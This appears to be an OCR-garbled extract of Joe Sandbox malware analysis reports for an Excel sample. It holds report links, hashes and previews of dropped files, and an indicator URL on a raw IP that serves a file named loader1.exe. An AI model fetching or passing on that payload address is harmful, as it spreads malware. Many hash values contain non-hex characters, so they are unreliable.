https://view.joesandbox.com/analysis/379574/html/none?idtype=webid
https://view.joesandbox.com/analysis/379558/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379558/html/none?idtype=webid
https://view.joesandbox.com/analysis/379557/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379557/html/none?idtype=webid
https://view.joesandbox.com/analysis/379531/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379531/html/none?idtype=webid
https://view.joesandbox.com/analysis/379526/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379526/html/none?idtype=webid
https://view.joesandbox.com/analysis/379525/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379525/html/none?idtype=webid
https://view.joesandbox.com/analysis/379479/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379479/html/none?idtype=webid
https://view.joesandbox.com/analysis/379466/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379466/html/none?idtype=webid
https://view.joesandbox.com/analysis/379463/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379463/html/none?idtype=webid
https://view.joesandbox.com/analysis/379462/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379462/html/none?idtype=webid
https://view.joesandbox.com/analysis/379461/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379461/html/none?idtype=webid
https://view.joesandbox.com/analysis/379458/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379458/html/none?idtype=webid
https://view.joesandbox.com/analysis/379457/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379457/html/none?idtype=webid
https://view.joesandbox.com/analysis/379455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379455/html/none?idtype=webid
https://view.joesandbox.com/analysis/379450/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379450/html/none?idtype=webid
https://view.joesandbox.com/analysis/379448/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379448/html/none?idtype=webid
https://view.joesandbox.com/analysis/379423/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379423/html/none?idtype=webid
https://view.joesandbox.com/analysis/379405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379405/html/none?idtype=webid
https://view.joesandbox.com/analysis/379399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379399/html/none?idtype=webid
https://view.joesandbox.com/analysis/379323/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379323/html/none?idtype=webid
https://view.joesandbox.com/analysis/379273/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379273/html/none?idtype=webid
https://view.joesandbox.com/analysis/379225/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379225/html/none?idtype=webid
https://view.joesandbox.com/analysis/379086/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379086/html/none?idtype=webid
https://view.joesandbox.com/analysis/378929/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378929/html/none?idtype=webid
https://view.joesandbox.com/analysis/378796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378796/html/none?idtype=webid
https://view.joesandbox.com/analysis/378730/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378730/html/none?idtype=webid
https://view.joesandbox.com/analysis/378725/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378725/html/none?idtype=webid
https://view.joesandbox.com/analysis/378696/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378696/html/none?idtype=webid
https://view.joesandbox.com/analysis/378474/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378474/html/none?idtype=webid
https://view.joesandbox.com/analysis/378432/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378432/html/none?idtype=webid
https://view.joesandbox.com/analysis/378386/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378386/html/none?idtype=webid
https://view.joesandbox.com/analysis/378209/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378209/html/none?idtype=webid
https://view.joesandbox.com/analysis/378203/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378203/html/none?idtype=webid
https://view.joesandbox.com/analysis/378176/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378176/html/none?idtype=webid
https://view.joesandbox.com/analysis/377665/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377665/html/none?idtype=webid
https://view.joesandbox.com/analysis/377614/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377614/html/none?idtype=webid
https://view.joesandbox.com/analysis/377600/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377600/html/none?idtype=webid
https://view.joesandbox.com/analysis/377569/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377569/html/none?idtype=webid

SSDEEP: 6144:aijlHUG+rmmfqtykQNIpwtl6J5kMervaf2QWIIY Cr:aijIHt+rmcG1lwe6ynB2BIlY

MDS5: 34DFFFOC6477A97FB402C3C5F806060E

SHA1L: 3FA9B0A4B2B486FFA872BF75C327E261077C59F3

SHA-256: 7FD87C43FB93FDECDAB5DE1A532B259A4193EF217658C43B0F2BCC0332D92CDF

SHA-512: 5DOEOEOOEDFAEB9826A94F6A325176B427BAB7A4FD2B2CFCFACAEDCA11075CE60756ECB14B9173BC988356B1306E05AEAF97FC2B6ED10F3C6A7BAASB678D1
9AC

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: ReversingLabs, Detection: 41%
Reputation: low
IE Cache URL:  hitp://107.173.219.122/files/loader1.exe

Preview:
1..L.IThis program cannot be run in DOS mode....$....... VC.-..-om EBLL BN EHL9L > - XL RiCh-.

PO 3 FOTRURPOPRRRPIO: 0

....@..@.reloc.

.rdata...M....... N..

@..@.data....1.. .@....rsrc....h..

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\266FC07D.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 566 x 429, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 84203

Entropy (8bit):  7.979766688932294

Encrypted: false

SSDEEP: 1536:RrpoeM3WUHO25A8HD3S04IL9jvt06302I/Wr9nuQvs+9QvM4PmgZuVHdJI5v3ZK7+:H5YHOhwx4IRTtO6349uQvXJ4PmgZulll

MD5: 208FD40D2F72D9AED77A86A44782E9E2

SHA1L: 216B99E777ED782BDC3BFD1075DB90DFDDABD20F

SHA-256: CBFDB963E074C150190C93796163F3889165BF4471CA77C39E756CF3F6F703FF

SHA-512: 7BCEBOFFA8B0707E4598639023876286B6371AE465A9365FA21D2C01405AB090517C448514880713CA22875013074DBID5ED8DA93C223F265C179CFADAG09A64

Malicious: false

Reputation: moderate, very likely benign file

Preview:
PNG........ IHDR...6........... >(....sRGB......... gAMA......a.....pHYs.... < IDATXA =W H. L ZAL SEJ,%..VPG..K.=...@.%0l.e7...U...... ... >N~&..._..._.I7...
.L..D.G!0..G!;...2...00.7....Cc...G....g>....._O..._._}Q..k...tu.T.....S.L..~.@Y96.S.....&.1......0...0.6..S...n.H.hS.....y;.N.L)."[ ".£.X.u.n.;........._h.(u[0a....].R.Zz...2.....GIY
\..+b..{>vU. w_V.-z.s.U.cR.gN X......6n...6....06.-. AM.f.=y ..7..;X...0..] .= |K..w..}O.{]...G........~.08....2...m6...SN.0..;/....Y .H..0..........
(W Sit...m..+.K..<.M=..IN.U..C.]5.=.5..0.d.f.<Km.$.fS..0....}@....k.m.L/S......}...3%..|j....b.r7.0lF..c".....$...)...|O.CK...._....Nv...q.t3l.,. ...vD.-.0.kw....X...-
C..KGId.8.a}|..,.....,....q.=r..PLV#..n. b [w...N.b.W......;.2.00..K{>.K....{w{....... 6'...,.}.E..X.1.-Y].JIm.j..pq|.0...e.v.....17....F

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\2A86AD78.jpeg

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 333x151, frames 3

Category: dropped

Size (bytes): 14198

Entropy (8bit):  7.916688725116637

Encrypted: false

SSDEEP: 384:IboF1PuTfwKCNtwsU9SjUB7ShYIv7IrEHaeH]7KHG81l:IboFgwK+wD9SA7ShX7JrEL7TKHG8S

MD5: E8FC908D33C78AAAD1DOGE8G5FCIFIBO

SHAL: 72CA86D260330FC32246D28349C07933E427065D

SHA-256: 7BB11564F3C6C559B3AC8ADE3ESFCALD51F5451AFF5C522D70C3BACECOBBB5D0

SHA-512: A005677A2958E533A51A95465308F94BE173F93264A2A3DB58683346CA97E04F14567D53D0066C1EAA33708579CD48B8CD3F02E1C54F126B7F3C4E64AC196E17

Malicious: false

Reputation: moderate, very likely benign file

Preview:
...... JFIF e e L) L& HLI&) L "3BT (om0 +: + e ML B

n?.f0.Q.i"G.2.. ). m..D..." ... Z#5.5...CPL..\W..07....h.u.+.B..R.S.I. .m..8.T...

(YX.st.@r..ca...|5.2...%..%..R.A67......... {...X.;...4.D.0".R...sV8....:dJm...2Est-....... U.@......|j.4.mn. Ke!G.6*PJ.S>..0....q%..... ..... @..T.P<.gze..(H+ .@$...2.h
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\33990A46.png

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 613 x 80, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 6815

Entropy (8bit): 7.871668067811304

Encrypted: false

SSDEEP: 96:pJzjDc7s5VhrOxAUp8Yy5196FOMVsoKZkI3p1NdBzYPx7yQgtCPe1NSMjRP9:ppDc7sk98YM19SC/27QptgtCPWKUI
MD5: E2267BEF7933F02CO009EAEFC464EB83D
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\33990A46.png

SHA1L: ACFEECE4B83B30C8B38BEB4E5954B075EAF756AE

SHA-256: BF5DF4A66D0C02D43BB4AC423D0B50831A83CDBBESC23CF36EAC8D79383AA2A7

SHA-512: AB1C3C23B5533C5A755CCA7FF6D8B8111577ED2823224E2E821DD517BC4E6D2B6E1353B1AFEACE6DB570A8CA1365F82CA24D5E1155C50B12556A1DF25373620
F

Malicious: false

Preview:
PNG........ IHDR...e...P....X....... SBIT.....O.....sRGB......... gAMA.....a..... pHYs .......... +......IEXtSoftware.gnome-screenshot...>....IDATX . tT... "$(C @.Ah.Z4.9...5[Vzv.
V[9.=..KOKkw......(v.b..KYJ[]..U..T$...L...3...y3y..8.d..y. {.}... {{..._ woesWHGL "'9.Da.$@.$@.$@.$0
v.xA{.=0.3..a017.]..5().. 3<vIQs. .. .. o K3l 3LKULNELQLE 2 k Al)....... eK.S. WA YX..4N]...w....H.H.H..E .)..*n.\...Sw.’?..Q.LM...H..

F$@.$@.$@.$.4..Nv.Hh...OV.....9. (...
9.3m.6@.p..8.4...|.RINY.+.b...E.W.8"..0

.@..L..<4.ef&..,.S..—.4M|fD.$@.$@‘$@4N#.1|..D...qO.S ..... rY.oc...|.-.X./]].rm.V<.l.U.g>v.1.G.}h+Z"...S..r. X..S.#x...FOKVV.L.&.....8.
A F8VL X8>S0, ....m.L...B.ZN....6\b.G.. X.5....0r..m.6@.....yL>.IR.\. ..._....7.G.i.e....9.r.[Fr..Pdekd.

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\3EOD1557.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 684 x 477, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 33795

Entropy (8bit): 7.909466841535462

Encrypted: false

SSDEEP: 768:mMEWNXSo70x6wlKcaVH1IvLUIGBtadJubNT4Bw:mTDQx6XH1lvYIbdJux4Bw
MDS5: 613C306C3CC7C3367595D71BEECD5DE4

SHA1L: CB5E280A2B1F4F1650040842BACCI9D3DF916275E

SHA-256: A76D01A33A00E98ACD33BEE9FBE342479EBDA9438C922FE264DCOF1847134294
SHA-512: FCA7D4673A173B4264FC40D26A550B97BD3CC8AC18058F2AABB717DF845B84ED32891F97952D283BE678B09B2E0D31878856C65D40361CC5A5C3E3F6332C96€
Malicious: false

Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\3EA6FB2E.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 613 x 80, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 6815

Entropy (8bit):  7.871668067811304

Encrypted: false

SSDEEP: 96:pJzjDc7s5VhrOXAUp8Yy5196FOMVsoKZkI3p1NdBzYPx7yQgtCPelNSMjRPI:ppDc7sk98YM19SC/27Qptgt CPWKUI

MD5: E2267BEF7933F02C009EAEFC464EB83D

SHA1L: ACFEECE4B83B30C8B38BEB4E5954B075EAF756AE

SHA-256: BF5DF4A66D0C02D43BB4AC423D0B50831A83CDBBEBC23CF36EACBD79383AA2A7

SHA-512: AB1C3C23B5533C5A755CCA7FF6D8B8111577ED2823224E2E821DD517BC4E6D2B6E1353B1AFEAC6DB570A8CA1365F82CA24D5E1155C50B12556A1DF25373620
E

Malicious: false

Preview:
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4693945A.jpeg

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 1275x1650, frames 3

Category: dropped

Size (bytes): 85020

Entropy (8bit):  7.2472785111025875

Encrypted: false

SSDEEP: 768:RgngDYqspFlysF6bCd+ksdsOcdAgfpS56wmdhcspOPxm00JkxuacpxoOIWEF3hVL:RUgQGsF60dxW6JImPncpxoOthOip

MD5: 738BDB90A9D8929A5FB2D06775F3336F

SHAL: 6A92C54218BFBEF83371E825D6B68D4F896C0ODCE

SHA-256: 8A2DB44BA9111358AFE9D111DBB4FC726BA006BFA3943C1EEBDA5A13F87DDAAB

SHA-512: 48FB23938E05198A2FE136F5E337A5E5C2D05097AE82AB943EE16BEB23348A81DA55AA030CB4ABCC6129F6EEDSEFC176FECFOBEF4AECAEEGC342FC76CCDA4E
8D6

Malicious: false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4693945A.jpeg

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5824BFDB.jpeg

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3

Category: dropped

Size (bytes): 8815

Entropy (8bit):  7.944898651451431

Encrypted: false

SSDEEP: 192:Qjnr2118e71i2YRD5x5dlyuaQ0ugZIBn+002yHQGYtPto:QZI8e71i2YdRyuZ0b+JGgtPW

MD5: F06432656347B7042C803FE58F4043E1

SHA1L: 4BD52B10B24EADECA4B227969170C1D06626A639

SHA-256: 409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6

SHA-512: 358FEB8CBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BE9S!
OE

Malicious: false

Preview:
...... JFIF o) (21 1106) -
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C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\72A9BF6C.jpeg

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=2], baseline, precision 8,
474x379, frames 3

Category: dropped

Size (bytes): 7006

Entropy (8bit):  7.000232770071406

Encrypted: false

SSDEEP: 96:X/yEpZGOnzVjPyCySpv2oNPI3ygxZzhEahqwKLBpm1hFpn:PyuZbnRWENPI3yqEhwK1psvn

MD5: 971312D4A6C9BE9B496160215FE59C19

SHA1L: D8AA41C7D43DAAEA305F50ACF0B34901486438BE

SHA-256: 4532AEED5A1EB543882653D009593822781976F5959204C87A277887B8DEBY61

SHA-512: 618B55BCDYD9533655C220C71104DFBIE2F712E56CDA7A4D3968DE4ASEE1861267C2D31CF74C195BF259A7151FA1F49DF4AD13431151EE28AD1D3065020CES3E

Malicious: false

Preview:
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MS0\99225644.jpeg

Process: C:\Program Files\Microsoft Office\Office lL4\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=2], baseline, precision 8,
474x379, frames 3

Category: dropped

Size (bytes): 7006

Entropy (8bit): 7.000232770071406

Encrypted: false

SSDEEP: 96:X/yEpZGOnzVjPyCySpv20NPI3ygxZzhEahqwKLBpm1hFpn:PyuZbnRW6NPI3ygqEhwK1psvn

MD5: 971312D4A6C9BEIB496160215FE59C19

SHA1L: D8AA41C7D43DAAEA305F50ACF0B34901486438BE

SHA-256: 4532AEED5A1EB543882653D009593822781976F5959204C87A277887B8DEB961

SHA-512: 618B55BCD9D9533655C220C71104DFBIE2F712E56CDA7A4D3968DE4SEE1861267C2D31CF74C195BF259A7151FA1F49DF4AD13431151EE28AD1D3065020CES3E

Malicious: false

Preview:
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\99B3698F.png

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 684 x 477, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 33795

Entropy (8bit):  7.909466841535462

Encrypted: false

SSDEEP: 768:mMEWNXSo70x6wlKcaVH1IvLUIGBtadJubNT4Bw:mTDQx6XH1lvYIlbdJux4Bw

MDS5: 613C306C3CC7C3367595D71BEECD5DE4

SHA1L: CB5E280A2B1F4F1650040842BACCID3DF916275E

SHA-256: A76D01A33A00E98ACD33BEE9FBE342479EBDA9438C922FE264DCOF1847134294

SHA-512: FCA7D4673A173B4264FC40D26A550B97BD3CC8AC18058F2AABB717DF845B84ED32891F97952D283BE678B09B2E0D31878856C65D40361CC5A5C3E3F6332C96€
Malicious: false

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\AOFA92C2.jpeg

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 1275x1650, frames 3

Category: dropped

Size (bytes): 85020

Entropy (8bit):  7.2472785111025875

Encrypted: false

SSDEEP: 768:RgnqDYqgspFlysF6bCd+ksdsOcdAgfpS56wmdhcspOPxm00JkxuacpxoOIWEF3hVL:RUgQGsF60dxW6JImPncpxoOthOip

MD5: 738BDB90A9D8929A5FB2D06775F3336F

SHA1L: 6A92C54218BFBEF83371E825D6B68D4F896CODCE

SHA-256: 8A2DB44BA9111358AFE9D111DBB4FC726BA006BFA3943C1EEBDASA13F87DDAAB

SHA-512: 48FB23938E05198A2FE136F5E337A5E5C2D05097AE82AB943EE16BEB23348A81DA55AA030CB4ABCC6129F6EEDSEFC176FECFOBEFAECAEEGC342FC76CCDAAE
8D6

Malicious: false

Preview:
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A36C1A1.png E

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: PNG image data, 476 x 244, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 49744

Entropy (8bit):  7.99056926749243

Encrypted: true

SSDEEP: 768:wnuJ6pl4x3egT1LYyelwBiPaaBsZbkCevl7dGOhRkJjsv+gZB/UcVaxZJI2LEz:YfplUeWNYF1UiPm+/qlsxZB/ZS

MD5: 63A6CB15B2B8ECD64F1158F5C8FBDCC8

SHAL: 8783B949B93383C2A5AF7369C6EEBID5DD7A56F6

SHA-256: AEA49B54BA0E46F19E04BB883DA311518AF3711132E39D3AF143833920CDD232

SHA-512: BB42A40E6EADF558C2AAE82F5FB60B8D3ACO6E669F41B46FCBEG5028F02B2E63491DB40E1C6F1B21A830E72EE52586B83A24A055A06C2CCC2D1207C2D5AD6E
45

Malicious: false

Preview:
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\AA6CA394.emf

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: Windows Enhanced Metafile (EMF) image data version 0x10000

Category: dropped

Size (bytes): 648132

Entropy (8bit): 2.812372198239294

Encrypted: false

SSDEEP: 3072:J34UL0tS6WB0JOqFB5AEA7rgXuzgn8nG/qc+5:h4UcLe0JOcXuunhqcS
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\AA6CA394.emf

MDS5: 5B1C625206D26F4BC2AE7BDBAOB6135D

SHA1L: B30B5F0263DBDI8EAB711C223069054B432AC09A

SHA-256: C697B73D7BF417C119C1B1DFDE01D358BA6AE2057940B8DC1CB03625E6264F21

SHA-512: 292FB7209F61E0426DD8E6F815F467E0B145B4F821369931E05112C4F975679C94E7D0D6784B44B67EBF75EBB377D8E34EF40C562ECE2DAD69F3B6586F1E063F
Malicious: false

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\C2AC9F19.png E
Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: PNG image data, 476 x 244, 8-bit/color RGB, non-interlaced
Category: dropped
Size (bytes): 49744

Entropy (8bit):  7.99056926749243

Encrypted: true

SSDEEP: 768:wnuJ6pl4ax3egT1LYyelwBiPaaBsZbkCev17dGOhRkJjsv+gZB/UcVaxZJ2LEz:YfplUeWNYF1UiPm+/qlsxZB/ZS

MDS5: 63A6CB15B2B8ECD64F1158F5C8FBDCC8

SHAL: 8783B949B93383C2A5AF7369C6EEBID5DD7A56F6

SHA-256: AEA49B54BA0E46F19E04BB883DA311518AF3711132E39D3AF143833920CDD232

SHA-512: BB42A40E6EADF558C2AAEB82F5FB60BBD3ACO6E669F41B46FCBE65028F02B2E63491DB40ELC6F1B21A830E72EES2586B83A24A055A06C2CCC2D1207C2D5AD6E
45

Malicious: false

Preview:
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Jo> o~ LB XIUGLLILOLIG.LIV.LL.@.. ... Jte...5Q.P.v;..B.C..m......0.N.....q...b.....Q...c.m0oT.e60B...p.v"..."....... 9..G...B}..../m...0g...8......6.$.8]p...9.....Z.a.sr.;B.a..m

b BLKL L AW?.B3L 20 > L L L VKL PG 25 A WELY Y0 80200 .D 2,06 U%.28 6.0 D B A MO FG]D\ [ ........1.... ... .GCE...J.

+.....ra..ieZ..Y..3.Q*m.rurb.5@.e.v@@....gsh.{g-..3j........ s.f.|8s$p.?3H......0"..6)...bD... A +....9.;$.. . W:LjBH..ItK

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\DAB20020.jpeg

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 333x151, frames 3

Category: dropped

Size (bytes): 14198

Entropy (8bit):  7.916688725116637

Encrypted: false

SSDEEP: 384:IboF1PuTfwKCNtwsU9SjUB7ShYIv7IrEHaeH]7KHG81l:IboFgwK+wD9SA7ShX7JrEL7TKHG8S

MD5: E8FC908D33C78AAAD1DOGE8G5FCIFIBO

SHAL: 72CA86D260330FC32246D28349C07933E427065D

SHA-256: 7BB11564F3C6C559B3AC8ADE3ESFCALDS51F5451AFF5C522D70C3BACECOBBB5D0

SHA-512: A005677A2958E533A51A95465308F94BE173F93264A2A3DB58683346CA97E04F14567D53D0066C1EAA33708579CD48B8CD3F02E1C54F126B7F3C4E64AC196E17

Malicious: false

Preview:
...... JFIF e e Ll L) L& HLI&) L "383-7 (<m0 +: + e ML B
..1A"Q.aq..2B..#R..3b...$r..C......4DSTcs L2 ftQlinG2. 0 .me D 26,5, .CPL.W. .07 ...h.u..+.B...R.S.l. .m..8.T...
(YX.St@r..ca..|5.2..%.%..RA6T........ {...X.;..4.D.0".R...sV8...1JM....2Est-.......U.@......|.4.mn..Ke!G.6*PJ.S>..0....q%..... ..... @..T.P<.qze..(H+ .@$...2.h.
P.]..ZP.H.I252.$.N..2XP..c..@....A..D.l.....1..[*[5(-J..@...$..N...x.U.fHYL.PM.[P......aY....S.R....Y...(D.|.10........... .. I|F..E9*..RU.P..p$.".....2.5.-....a& @..P....m....

wLaHDV)...@u...5.,.h..6..Y,...D.7.....UHe.s.PQ.YM...)..(y.6.U..i. V. 2. &... "..8 +]K)R..\'A...1..B..2[..L(c3J..%..$.3..E0@...."5fj...

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\DF646493.jpeg

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3

Category: dropped

Size (bytes): 8815

Entropy (8bit):  7.944898651451431

Encrypted: false

SSDEEP: 192:Qjnr2118e71i2YRD5x5dlyuaQ0ugZIBn+002yHQGYtPto:QZI8e71i2YdRyuZ0b+JGgtPW

MD5: F06432656347B7042C803FE58F4043E1

SHAL: 4BD52B10B24EADECA4B227969170C1D06626A639

SHA-256: 409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6

SHA-512: 358FEBBCBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BE9SI
OE

Malicious: false
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C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\DF646493.jpeg

Preview:
...... JFIF i) (1 119%)-
..... Frvverieineee L"1AL.QRA#2BSq
.d.@..&3)d@@7.q...t..3"... .9.r....Q.(.W..X&..&1&T.* K..|kc.....[..|.3(f+.c...;+....5....hHR.0..."R.G..6...&pB..d.h.04.*+..S..M........ [idi e Onee Yn.. TLE*Gl..-......
$e&........z.[..3.+~..a.u9d.&IK . xkX".."...Y ..I....... MxPu..b..:0e:.R.#....... U...E..4Pd/..0.".4 ..A.t..2.gb)b.l."&.y1.......... 1.s>.ZA2.......... 3...z"..L.n6.Am.1m....0../.~y....
.1.b.0U...5.0i\.LH1.f....sl..ccc f'32..bu.P4>. .+ B...elL...R.,..<...3.00$,=. K.|...Z..... O.l.z...am....C.k..iZ ...<ds....f8f..R....K

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\E1C17975.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 566 x 429, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 84203

Entropy (8bit):  7.979766688932294

Encrypted: false

SSDEEP: 1536:RrpoeM3WUHO25A8HD3S04IL9jvt06302I/Wr9nuQvs+9QvM4PmgZuVHdJI5v3ZK7+:H5YHOhwx4IRTtO6349uQvXJ4PmgZull

MD5: 208FD40D2F72D9AED77A86A44782E9E2

SHA1L: 216B99E777ED782BDC3BFD1075DB90DFDDABD20F

SHA-256: CBFDB963E074C150190C93796163F3889165BF4471CA77C39E756CF3F6F703FF

SHA-512: 7BCEBOFFA8B0707E4598639023876286B6371AE465A9365FA21D2C01405AB090517C448514880713CA22875013074DBID5EDBDA93C223F265C179CFADAG09AG4

Malicious: false

Preview:
.PNG < IDATXA =W HLfLZAL SEJ,%..VPG..K=...@.%0l.e7....U...... ... >nN~&..._..._.Ig...
.L..D.G!0..G};...2...00.7....Cc...G....g>......_0..._._.Jq..k..ru.T.....SL..~.@Y96.S.....&.1.:....0...0.6..S..'n.H.hS.....y;.N.L)."[ £ X.un.;........._h.(u|0a....].R.z...2.....GJY
oAb f>VU. w+.p...X..._V.-z..s..U..cR..g". . X......6n...6....06.- AM.f.=y ..7..;X...q.|..=[K.w..}O.{]..G.......~.03....2...m6...sN.0..;/...Y .H..0......... e

(W Sit...m...+.K..<.M=..IN.U..C.]5.=.5..0.d.f.<Km.$.fS..0....}@...k.m.L./$......}...3%..|j....b.r7.0IF..c".....$...)...|O.CK...._....Nv...q.t3l.,. ...vD.-.0.kw....X...-
C..KGId.8.a}|..,.....,....q.=r..PL.V#...n. b [w..N.b.W......;..2.00.K{>.K....{wf....... 6'...,.}.E..X.1.-Y].JIm.j..pq|.0...e.v.....17....F

C:\Users\luser\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\EA254685.emf

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE
File Type: Windows Enhanced Metafile (EMF) image data version 0x10000
Category: dropped
Size (bytes): 7788
Entropy (8bit):  5.537561957998893
Encrypted: false
SSDEEP: 96:wxIIAPCHOVIJaX1/0gMfZoL/GuoOfaDda/ZbjsSZdb3Cim3n+KeXI:w5A/TrZuloOSGZboS/C93n+Kul
MD5: B79A8239B1B8D859EA85164F4347C32A
SHA1L: C33F392D2D7E3B31F969DDD5A8D552123E382606
SHA-256: 58EDB86D85DCCCB807FD382599A6BB4A5CA0A51FF202C717D8F1C77806468EE0
SHA-512: 7TE6062A22511AF854D67A2992D35C2EEAFF89373651AD02FDE78A3DB5143D1A42A52FE3F964E4123387B8CDB6DCCA4318E6ES9ACF70EBEGD17238EFS5EE3F20!
E
Malicious: false
Preview:
RTINS X X o Ko N =T U N R
6. Ap. L Apht (5. =Bl .
A, (ol

. HD>MJHCCNJIFINIFIPMHIRPJOTPLIWQLVYRPXZUR{XP~JWS
AZS.[T.c\U.erU.e]W.g'Y.hbY |°Y.ib\.Id].kd].nd~.nfr.

Process: C:\Program Files\Microsoft Office\Office L4\ EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 330
